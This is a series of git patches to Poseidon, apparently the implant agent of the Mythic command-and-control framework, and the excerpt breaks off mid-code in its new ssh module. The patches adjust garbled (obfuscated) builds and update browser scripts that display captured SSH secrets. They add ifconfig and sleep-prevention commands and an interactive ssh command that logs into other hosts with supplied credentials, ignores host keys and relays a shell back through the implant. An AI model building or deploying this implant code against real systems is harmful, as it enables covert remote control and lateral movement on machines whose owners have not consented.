From 06d8e4d4604757c94d774e4ab5838d366f957d0c Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Wed, 4 Sep 2024 15:25:42 -0500 Subject: [PATCH 1/8] updating build for x64 on arm64 and a few browser scripts --- Payload_Type/poseidon/.docker/Dockerfile | 2 ++ Payload_Type/poseidon/Dockerfile | 2 ++ .../agent_code/jsimport_call/jxa_wrapper_darwin.m | 2 +- .../poseidon/agent_code/jxa/jxa_wrapper_darwin.m | 2 +- .../poseidon/poseidon/agentfunctions/builder.go | 6 ++++-- .../poseidon/poseidon/agentfunctions/jsimport_call.go | 10 ++++++---- .../poseidon/browserscripts/screencapture_new.js | 10 +++------- .../poseidon/poseidon/browserscripts/sshauth_new.js | 6 +++--- 8 files changed, 22 insertions(+), 18 deletions(-) diff --git a/Payload_Type/poseidon/.docker/Dockerfile b/Payload_Type/poseidon/.docker/Dockerfile index ffce0ca..6023604 100644 --- a/Payload_Type/poseidon/.docker/Dockerfile +++ b/Payload_Type/poseidon/.docker/Dockerfile @@ -6,4 +6,6 @@ COPY [".", "."] RUN make build +RUN apt-get install g++-x86-64-linux-gnu libc6-dev-amd64-cross -y + CMD make run \ No newline at end of file diff --git a/Payload_Type/poseidon/Dockerfile b/Payload_Type/poseidon/Dockerfile index ffce0ca..6023604 100644 --- a/Payload_Type/poseidon/Dockerfile +++ b/Payload_Type/poseidon/Dockerfile @@ -6,4 +6,6 @@ COPY [".", "."] RUN make build +RUN apt-get install g++-x86-64-linux-gnu libc6-dev-amd64-cross -y + CMD make run \ No newline at end of file diff --git a/Payload_Type/poseidon/poseidon/agent_code/jsimport_call/jxa_wrapper_darwin.m b/Payload_Type/poseidon/poseidon/agent_code/jsimport_call/jxa_wrapper_darwin.m index 41a5bb9..6f0e25c 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/jsimport_call/jxa_wrapper_darwin.m +++ b/Payload_Type/poseidon/poseidon/agent_code/jsimport_call/jxa_wrapper_darwin.m @@ -16,7 +16,7 @@ NSString *result = runError[@"OSAScriptErrorMessageKey"]; return [result UTF8String]; } - NSString* fmtString = [NSString stringWithFormat:@"%@", res]; + NSString* fmtString = [NSString stringWithFormat:@"%@", res.stringValue]; char* output = [fmtString UTF8String]; return output; } @catch (NSException *exception) { diff --git a/Payload_Type/poseidon/poseidon/agent_code/jxa/jxa_wrapper_darwin.m b/Payload_Type/poseidon/poseidon/agent_code/jxa/jxa_wrapper_darwin.m index ff9fd21..e019970 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/jxa/jxa_wrapper_darwin.m +++ b/Payload_Type/poseidon/poseidon/agent_code/jxa/jxa_wrapper_darwin.m @@ -16,7 +16,7 @@ NSString *result = runError[@"OSAScriptErrorMessageKey"]; return [result UTF8String]; } - NSString* fmtString = [NSString stringWithFormat:@"%@", res]; + NSString* fmtString = [NSString stringWithFormat:@"%@", res.stringValue]; char* output = [fmtString UTF8String]; return output; } @catch (NSException *exception) { diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go index b329a4d..c99a450 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go @@ -21,7 +21,7 @@ import ( "time" ) -const version = "2.1.3" +const version = "2.1.4" type sleepInfoStruct struct { Interval int `json:"interval"` @@ -444,6 +444,8 @@ func build(payloadBuildMsg agentstructs.PayloadBuildMessage) agentstructs.Payloa } else { if goarch == "arm64" { command += "CC=aarch64-linux-gnu-gcc " + } else { + command += "CC=x86_64-linux-gnu-gcc" } } command += "GOGARBLE=* " @@ -650,6 +652,6 @@ func onNewCallback(data agentstructs.PTOnNewCallbackAllData) agentstructs.PTOnNe func Initialize() { agentstructs.AllPayloadData.Get("poseidon").AddPayloadDefinition(payloadDefinition) agentstructs.AllPayloadData.Get("poseidon").AddBuildFunction(build) - agentstructs.AllPayloadData.Get("poseidon").AddOnNewCallbackFunction(onNewCallback) + //agentstructs.AllPayloadData.Get("poseidon").AddOnNewCallbackFunction(onNewCallback) agentstructs.AllPayloadData.Get("poseidon").AddIcon(filepath.Join(".", "poseidon", "agentfunctions", "poseidon.svg")) } diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/jsimport_call.go b/Payload_Type/poseidon/poseidon/agentfunctions/jsimport_call.go index b6a9073..d2c3b65 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/jsimport_call.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/jsimport_call.go @@ -64,10 +64,12 @@ func init() { response.Error = err.Error() return response } else if search, err := mythicrpc.SendMythicRPCFileSearch(mythicrpc.MythicRPCFileSearchMessage{ - Filename: filename, - LimitByCallback: true, - CallbackID: taskData.Callback.ID, - MaxResults: 1, + Filename: filename, + LimitByCallback: true, + CallbackID: taskData.Callback.ID, + MaxResults: 1, + IsPayload: false, + IsDownloadFromAgent: false, }); err != nil { response.Success = false response.Error = "Error trying to search for files: " + err.Error() diff --git a/Payload_Type/poseidon/poseidon/browserscripts/screencapture_new.js b/Payload_Type/poseidon/poseidon/browserscripts/screencapture_new.js index 4640358..ee7dff8 100644 --- a/Payload_Type/poseidon/poseidon/browserscripts/screencapture_new.js +++ b/Payload_Type/poseidon/poseidon/browserscripts/screencapture_new.js @@ -22,13 +22,9 @@ function(task, responses){ if(errors.length > 0){ responseData["plaintext"] = "Errors downloading:\n" + JSON.stringify(errors, null, 2); }else if(screenshots.length > 0){ - responseData["screenshot"] = [ - { - "agent_file_id": screenshots, - "variant": "contained", - "name": "View Screenshots" - } - ] + responseData["media"] = screenshots.map( s => { + return {agent_file_id: s, filename: "monitor.png"} + }) } return responseData; }else{ diff --git a/Payload_Type/poseidon/poseidon/browserscripts/sshauth_new.js b/Payload_Type/poseidon/poseidon/browserscripts/sshauth_new.js index 7f6ec07..e182009 100644 --- a/Payload_Type/poseidon/poseidon/browserscripts/sshauth_new.js +++ b/Payload_Type/poseidon/poseidon/browserscripts/sshauth_new.js @@ -16,11 +16,11 @@ function(task, response){ let rows = []; for(let j = 0; j < data.length; j++) { rows.push({ - "host": {"plaintext": data[j]["host"]}, - "username": {"plaintext": data[j]["username"]}, + "host": {"plaintext": data[j]["host"], "copyIcon": true}, + "username": {"plaintext": data[j]["username"], "copyIcon": true}, "secret": {"plaintext": data[j]["secret"]}, "status": {"plaintext": data[j]["status"]}, - "output": {"plaintext": data[j]["output"]}, + "output": {"plaintext": data[j]["output"], "copyIcon": true}, "copy_status": {"plaintext": data[j]["copy_status"]}, "rowStyle": {backgroundColor: data[j]["success"] ? "green" : ""}, }); From f46af8708bcbbc2e6cfed3af510736c109f71627 Mon Sep 17 00:00:00 2001 From: github-actions <41898282+github-actions[bot]@users.noreply.github.com> Date: Wed, 4 Sep 2024 20:32:38 +0000 Subject: [PATCH 2/8] Bump Dockerfile tag to match release 'v0.0.1.8' --- config.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.json b/config.json index ecb02b7..b2e38bf 100644 --- a/config.json +++ b/config.json @@ -5,6 +5,6 @@ "exclude_documentation_c2": false, "exclude_agent_icons": false, "remote_images": { - "poseidon": "ghcr.io/mythicagents/poseidon:v0.0.1.7" + "poseidon": "ghcr.io/mythicagents/poseidon:v0.0.1.8" } } \ No newline at end of file From e87c7dd7db937d44820c0e348d1c6155c2275d32 Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Thu, 5 Sep 2024 06:51:23 -0500 Subject: [PATCH 3/8] fixing missing space --- Payload_Type/poseidon/poseidon/agentfunctions/builder.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go index c99a450..61e2977 100644 --- a/Payload_Type/poseidon/poseidon/agentfunctions/builder.go +++ b/Payload_Type/poseidon/poseidon/agentfunctions/builder.go @@ -445,7 +445,7 @@ func build(payloadBuildMsg agentstructs.PayloadBuildMessage) agentstructs.Payloa if goarch == "arm64" { command += "CC=aarch64-linux-gnu-gcc " } else { - command += "CC=x86_64-linux-gnu-gcc" + command += "CC=x86_64-linux-gnu-gcc " } } command += "GOGARBLE=* " From be53514ab01ee42c5aa538ccc424efb5e27c5051 Mon Sep 17 00:00:00 2001 From: github-actions <41898282+github-actions[bot]@users.noreply.github.com> Date: Thu, 5 Sep 2024 11:58:13 +0000 Subject: [PATCH 4/8] Bump Dockerfile tag to match release 'v0.0.1.9' --- config.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.json b/config.json index b2e38bf..239f6b0 100644 --- a/config.json +++ b/config.json @@ -5,6 +5,6 @@ "exclude_documentation_c2": false, "exclude_agent_icons": false, "remote_images": { - "poseidon": "ghcr.io/mythicagents/poseidon:v0.0.1.8" + "poseidon": "ghcr.io/mythicagents/poseidon:v0.0.1.9" } } \ No newline at end of file From 988128fcaf397cfb1f42ae7105ea75a8192845af Mon Sep 17 00:00:00 2001 From: its-a-feature Date: Thu, 5 Sep 2024 20:39:27 -0400 Subject: [PATCH 5/8] Adding ssh, ifconfig, and caffeinate commands --- .../poseidon/poseidon/agent_code/CHANGELOG.MD | 8 + .../agent_code/caffeinate/caffeinate.go | 40 ++ .../caffeinate/caffeinate_darwin.go | 38 ++ .../agent_code/caffeinate/caffeinate_linux.go | 28 ++ .../caffeinate/caffeinate_wrapper_darwin.h | 7 + .../caffeinate/caffeinate_wrapper_darwin.m | 24 ++ .../poseidon/agent_code/ifconfig/ifconfig.go | 21 + .../poseidon/poseidon/agent_code/ls/ls.go | 31 +- .../agent_code/pkg/tasks/newTasking.go | 9 + .../poseidon/poseidon/agent_code/ssh/ssh.go | 365 ++++++++++++++++++ .../poseidon/agentfunctions/builder.go | 2 +- .../poseidon/agentfunctions/caffeinate.go | 47 +++ .../poseidon/agentfunctions/ifconfig.go | 33 ++ .../poseidon/poseidon/agentfunctions/ssh.go | 137 +++++++ 14 files changed, 777 insertions(+), 13 deletions(-) create mode 100755 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h create mode 100644 Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m create mode 100755 Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go create mode 100755 Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/caffeinate.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/ifconfig.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/ssh.go diff --git a/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD b/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD index 3a4a9b5..fe5a4a6 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD +++ b/Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD @@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/) and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html). +## 2.1.3 - 2024-09-05 + +### Changed + +- Added ifconfig command +- Added caffeinate command for macOS +- Added ssh interactive command similar to pty, but for ssh connections + ## 2.1.2 - 2024-08-05 ### Changed diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go new file mode 100755 index 0000000..ce9a3ac --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate.go @@ -0,0 +1,40 @@ +package caffeinate + +import ( + // Standard + "encoding/json" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +type CaffeinateRun interface { + Success() bool + Result() string +} + +type Arguments struct { + Enable bool `json:"enable"` +} + +func Run(task structs.Task) { + msg := task.NewResponse() + args := Arguments{} + err := json.Unmarshal([]byte(task.Params), &args) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + r, err := runCommand(args.Enable) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + msg.UserOutput = r.Result() + msg.Completed = true + task.Job.SendResponses <- msg + return +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go new file mode 100755 index 0000000..dada33a --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_darwin.go @@ -0,0 +1,38 @@ +//go:build darwin +// +build darwin + +package caffeinate + +/* +#cgo CFLAGS: -x objective-c -fmacro-backtrace-limit=0 -std=gnu11 -Wobjc-property-no-attribute -Wunguarded-availability-new +#cgo LDFLAGS: -framework Foundation -framework IOKit +#include "caffeinate_wrapper_darwin.h" +*/ +import "C" + +type CaffeinateRunDarwin struct { + Successful bool + Results string +} + +func (j *CaffeinateRunDarwin) Success() bool { + return j.Successful +} + +func (j *CaffeinateRunDarwin) Result() string { + return j.Results +} + +func runCommand(enable bool) (CaffeinateRunDarwin, error) { + enableInt := 0 + if enable { + enableInt = 1 + } + cEnable := C.int(enableInt) + cresult := C.caffeinate(cEnable) + result := C.GoString(cresult) + r := CaffeinateRunDarwin{} + r.Successful = true + r.Results = result + return r, nil +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go new file mode 100755 index 0000000..59669e1 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_linux.go @@ -0,0 +1,28 @@ +//go:build linux +// +build linux + +package caffeinate + +import ( + "errors" +) + +type CaffeinateRunLinux struct { + Successful bool + Resultstring string +} + +func (j *CaffeinateRunLinux) Success() bool { + return j.Successful +} + +func (j *CaffeinateRunLinux) Result() string { + return j.Resultstring +} + +func runCommand(enable bool) (CaffeinateRunLinux, error) { + n := CaffeinateRunLinux{} + n.Resultstring = "" + n.Successful = false + return n, errors.New("Not implemented") +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h new file mode 100755 index 0000000..ae53ba1 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.h @@ -0,0 +1,7 @@ + +#ifndef main_h +#define main_h + +extern char* caffeinate(int enable); + +#endif /* main_h */ diff --git a/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m new file mode 100644 index 0000000..65b98f9 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/caffeinate/caffeinate_wrapper_darwin.m @@ -0,0 +1,24 @@ +#import +#import +#include "caffeinate_wrapper_darwin.h" + +char* caffeinate(int enable) { + @try { + IOPMAssertionLevel newLevel = kIOPMAssertionLevelOn; + if(enable == 0){ + newLevel = kIOPMAssertionLevelOff; + } + CFStringRef assertionName = CFStringCreateWithCString(NULL, "caffeinate", kCFStringEncodingUTF8); + IOPMAssertionID assertionID; + IOReturn status = IOPMAssertionCreateWithName(kIOPMAssertionTypePreventSystemSleep, newLevel, assertionName, &assertionID); + if(status == kIOReturnSuccess){ + return "Successfully adjusted caffeinate status"; + } else { + NSString* fmtString = [NSString stringWithFormat:@"Failed to set status: %d", status]; + return [fmtString UTF8String]; + } + } @catch (NSException *exception) { + return [[exception reason] UTF8String]; + } + +} \ No newline at end of file diff --git a/Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go b/Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go new file mode 100755 index 0000000..5199e41 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/ifconfig/ifconfig.go @@ -0,0 +1,21 @@ +package ifconfig + +import ( + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/functions" + + "strings" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +// Run - Function that executes +func Run(task structs.Task) { + msg := task.NewResponse() + ips := functions.GetCurrentIPAddress() + msg.UserOutput = strings.Join(ips, "\n") + msg.Completed = true + task.Job.SendResponses <- msg + return +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/ls/ls.go b/Payload_Type/poseidon/poseidon/agent_code/ls/ls.go index 89b7827..3b2e606 100755 --- a/Payload_Type/poseidon/poseidon/agent_code/ls/ls.go +++ b/Payload_Type/poseidon/poseidon/agent_code/ls/ls.go @@ -3,7 +3,6 @@ package ls import ( // Standard "encoding/json" - "io/ioutil" "os" "os/user" "path/filepath" @@ -41,7 +40,12 @@ func GetPermission(finfo os.FileInfo) structs.FilePermission { func Run(task structs.Task) { msg := task.NewResponse() args := structs.FileBrowserArguments{} - json.Unmarshal([]byte(task.Params), &args) + err := json.Unmarshal([]byte(task.Params), &args) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } var e structs.FileBrowser fixedPath := args.Path if strings.HasPrefix(fixedPath, "~/") { @@ -51,9 +55,7 @@ func Run(task structs.Task) { abspath, _ := filepath.Abs(fixedPath) dirInfo, err := os.Stat(abspath) if err != nil { - msg.UserOutput = err.Error() - msg.Completed = true - msg.Status = "error" + msg.SetError(err.Error()) task.Job.SendResponses <- msg return } @@ -76,11 +78,9 @@ func Run(task structs.Task) { e.Success = true e.UpdateDeleted = true if dirInfo.IsDir() { - files, err := ioutil.ReadDir(abspath) + files, err := os.ReadDir(abspath) if err != nil { - msg.UserOutput = err.Error() - msg.Completed = true - msg.Status = "error" + msg.SetError(err.Error()) e.Success = false msg.FileBrowser = &e task.Job.SendResponses <- msg @@ -90,11 +90,18 @@ func Run(task structs.Task) { fileEntries := make([]structs.FileData, len(files)) for i := 0; i < len(files); i++ { fileEntries[i].IsFile = !files[i].IsDir() - fileEntries[i].Permissions = GetPermission(files[i]) + fileInfo, err := files[i].Info() + if err != nil { + fileEntries[i].Permissions = structs.FilePermission{} + fileEntries[i].FileSize = -1 + fileEntries[i].LastModified = 0 + } else { + fileEntries[i].Permissions = GetPermission(fileInfo) + fileEntries[i].FileSize = fileInfo.Size() + fileEntries[i].LastModified = fileInfo.ModTime().Unix() * 1000 + } fileEntries[i].Name = files[i].Name() fileEntries[i].FullName = filepath.Join(abspath, files[i].Name()) - fileEntries[i].FileSize = files[i].Size() - fileEntries[i].LastModified = files[i].ModTime().Unix() * 1000 at, err := atime.Stat(abspath) if err != nil { fileEntries[i].LastAccess = 0 diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go index 05e669b..49f780a 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go @@ -1,6 +1,7 @@ package tasks import ( + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/caffeinate" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/cat" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/cd" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/clipboard" @@ -14,6 +15,7 @@ import ( "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/getenv" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/getuser" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/head" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/ifconfig" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jsimport" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jsimport_call" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/jxa" @@ -47,6 +49,7 @@ import ( "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/shell" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sleep" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/socks" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/ssh" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sshauth" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/sudo" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/tail" @@ -189,6 +192,12 @@ func listenForNewTask() { go shell.RunConfig(task) case "config": go config.Run(task) + case "ssh": + go ssh.Run(task) + case "ifconfig": + go ifconfig.Run(task) + case "caffeinate": + go caffeinate.Run(task) default: // No tasks, do nothing break diff --git a/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go b/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go new file mode 100755 index 0000000..96aab42 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/ssh/ssh.go @@ -0,0 +1,365 @@ +package ssh + +import ( + "bufio" + "bytes" + "encoding/base64" + "encoding/json" + "fmt" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils" + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/enums/InteractiveTask" + goSSH "golang.org/x/crypto/ssh" + "io" + "os" + "path/filepath" + "strings" + "time" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +// Credential Manages credential objects for authentication +type Credential struct { + Username string + Password string + PrivateKey string +} + +type SSHParams struct { + Host string `json:"host"` + Port int `json:"port"` + Username string `json:"username"` + Password string `json:"password"` + PrivateKey string `json:"private_key"` +} + +// SSH Functions +func PublicKeyFile(file string) (goSSH.AuthMethod, error) { + buffer, err := os.ReadFile(file) + if err != nil { + return nil, err + } + + key, err := goSSH.ParsePrivateKey(buffer) + if err != nil { + return nil, err + } + return goSSH.PublicKeys(key), nil +} + +func SSHLogin(host string, port int, cred Credential) (*goSSH.Session, io.Reader, io.Reader, io.Writer, error) { + var sshConfig *goSSH.ClientConfig + if cred.PrivateKey == "" { + sshConfig = &goSSH.ClientConfig{ + User: cred.Username, + HostKeyCallback: goSSH.InsecureIgnoreHostKey(), + Timeout: 500 * time.Millisecond, + Auth: []goSSH.AuthMethod{goSSH.Password(cred.Password)}, + } + } else { + sshAuthMethodPrivateKey, err := PublicKeyFile(cred.PrivateKey) + if err != nil { + return nil, nil, nil, nil, err + } + sshConfig = &goSSH.ClientConfig{ + User: cred.Username, + Timeout: 500 * time.Millisecond, + HostKeyCallback: goSSH.InsecureIgnoreHostKey(), + Auth: []goSSH.AuthMethod{sshAuthMethodPrivateKey}, + } + } + + connectionStr := fmt.Sprintf("%s:%d", host, port) + connection, err := goSSH.Dial("tcp", connectionStr, sshConfig) + if err != nil { + return nil, nil, nil, nil, err + } + session, err := connection.NewSession() + if err != nil { + connection.Close() + return nil, nil, nil, nil, err + } + modes := goSSH.TerminalModes{ + goSSH.ECHO: 0, + goSSH.TTY_OP_ISPEED: 14400, + goSSH.TTY_OP_OSPEED: 14400, + } + err = session.RequestPty("xterm-256color", 80, 80, modes) + if err != nil { + session.Close() + return nil, nil, nil, nil, err + } + stdErrPipe, err := session.StderrPipe() + if err != nil { + utils.PrintDebug("failed to get stdErrPipe") + return nil, nil, nil, nil, err + } + stdOutPipe, err := session.StdoutPipe() + if err != nil { + utils.PrintDebug("failed to get stdOutPipe") + return nil, nil, nil, nil, err + } + stdInPipe, err := session.StdinPipe() + if err != nil { + utils.PrintDebug("failed to get stdInPipe") + return nil, nil, nil, nil, err + } + err = session.Shell() + if err != nil { + session.Close() + return nil, nil, nil, nil, err + } + return session, stdOutPipe, stdErrPipe, stdInPipe, nil +} + +func Run(task structs.Task) { + params := SSHParams{} + msg := task.NewResponse() + err := json.Unmarshal([]byte(task.Params), ¶ms) + if err != nil { + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + if params.Password == "" && params.PrivateKey == "" { + msg.SetError("Missing password/private key parameter") + task.Job.SendResponses <- msg + return + } + if params.Username == "" { + msg.SetError("Missing username parameter.") + task.Job.SendResponses <- msg + return + } + if params.Port == 0 { + params.Port = 22 + } + if params.PrivateKey != "" { + if strings.HasPrefix(params.PrivateKey, "~/") { + dirname, _ := os.UserHomeDir() + params.PrivateKey = filepath.Join(dirname, params.PrivateKey[2:]) + } + } + cred := Credential{ + Username: params.Username, + Password: params.Password, + PrivateKey: params.PrivateKey, + } + session, stdOutPipe, stdErrPipe, stdInPipe, err := SSHLogin(params.Host, params.Port, cred) + if err != nil { + utils.PrintDebug("failed to login") + msg.SetError(err.Error()) + task.Job.SendResponses <- msg + return + } + defer session.Close() + + // start processing the new ssh pty + outputChannel := make(chan string, 1) + errorChannel := make(chan string, 1) + doneChannel := make(chan bool, 2) + doneTimeDelayChannel := make(chan bool) + sendTimeDelayChannel := make(chan bool) + go func() { + // wait for stdin data and pass that along + for { + select { + case inputMsg := <-task.Job.InteractiveTaskInputChannel: + data, err := base64.StdEncoding.DecodeString(inputMsg.Data) + + if err != nil { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(err.Error())), + MessageType: InteractiveTask.Error, + } + continue + } + //fmt.Printf("got a message from interactive tasking (%d):\n%s\n", inputMsg.MessageType, data) + err = nil + switch inputMsg.MessageType { + case InteractiveTask.Input: + _, err = io.Copy(stdInPipe, bytes.NewReader(data)) + case InteractiveTask.CtrlA: + _, err = stdInPipe.Write([]byte{0x01}) + case InteractiveTask.CtrlB: + _, err = stdInPipe.Write([]byte{0x02}) + case InteractiveTask.CtrlC: + _, err = stdInPipe.Write([]byte{0x03}) + case InteractiveTask.CtrlD: + _, err = stdInPipe.Write([]byte{0x04}) + case InteractiveTask.CtrlE: + _, err = stdInPipe.Write([]byte{0x05}) + case InteractiveTask.CtrlF: + _, err = stdInPipe.Write([]byte{0x06}) + case InteractiveTask.CtrlG: + _, err = stdInPipe.Write([]byte{0x07}) + case InteractiveTask.Backspace: + _, err = stdInPipe.Write([]byte{0x08}) + case InteractiveTask.Tab: + if len(data) > 0 { + _, err = io.Copy(stdInPipe, bytes.NewReader(data)) + } + _, err = stdInPipe.Write([]byte{0x09}) + case InteractiveTask.CtrlK: + _, err = stdInPipe.Write([]byte{0x0B}) + case InteractiveTask.CtrlL: + _, err = stdInPipe.Write([]byte{0x0C}) + case InteractiveTask.CtrlN: + _, err = stdInPipe.Write([]byte{0x0E}) + case InteractiveTask.CtrlP: + _, err = stdInPipe.Write([]byte{0x10}) + case InteractiveTask.CtrlQ: + _, err = stdInPipe.Write([]byte{0x11}) + case InteractiveTask.CtrlR: + _, err = stdInPipe.Write([]byte{0x12}) + case InteractiveTask.CtrlS: + _, err = stdInPipe.Write([]byte{0x13}) + case InteractiveTask.CtrlU: + _, err = stdInPipe.Write([]byte{0x15}) + case InteractiveTask.CtrlW: + _, err = stdInPipe.Write([]byte{0x17}) + case InteractiveTask.CtrlY: + _, err = stdInPipe.Write([]byte{0x19}) + case InteractiveTask.CtrlZ: + _, err = stdInPipe.Write([]byte{0x1A}) + case InteractiveTask.Escape: + _, err = stdInPipe.Write([]byte{0x1B}) + if len(data) > 0 { + _, err = io.Copy(stdInPipe, bytes.NewReader(data)) + } + case InteractiveTask.Exit: + session.Signal(goSSH.SIGTERM) + doneChannel <- true + return + default: + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte("Unknown control code")), + MessageType: InteractiveTask.Error, + } + continue + } + if err != nil { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(err.Error())), + MessageType: InteractiveTask.Error, + } + } + //fmt.Printf("successfully sent message along to interactive session\n") + } + } + }() + go func() { + bufferedOutput := "" + bufferedError := "" + for { + select { + case <-doneChannel: + if bufferedOutput != "" { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(bufferedOutput)), + MessageType: InteractiveTask.Output, + } + } + if bufferedError != "" { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(bufferedError)), + MessageType: InteractiveTask.Error, + } + } + return + case newBufferedOutput := <-outputChannel: + //fmt.Printf("got new output for buffered channel:\n%s", newBufferedOutput) + bufferedOutput += newBufferedOutput + case newBufferedError := <-errorChannel: + //fmt.Printf("got new error for buffered channel:\n%s", newBufferedError) + bufferedError += newBufferedError + case <-sendTimeDelayChannel: + if bufferedOutput != "" { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: base64.StdEncoding.EncodeToString([]byte(bufferedOutput)), + MessageType: InteractiveTask.Output, + } + bufferedOutput = "" + } + if bufferedError != "" { + task.Job.InteractiveTaskOutputChannel <- structs.InteractiveTaskMessage{ + TaskUUID: task.TaskID, + Data: 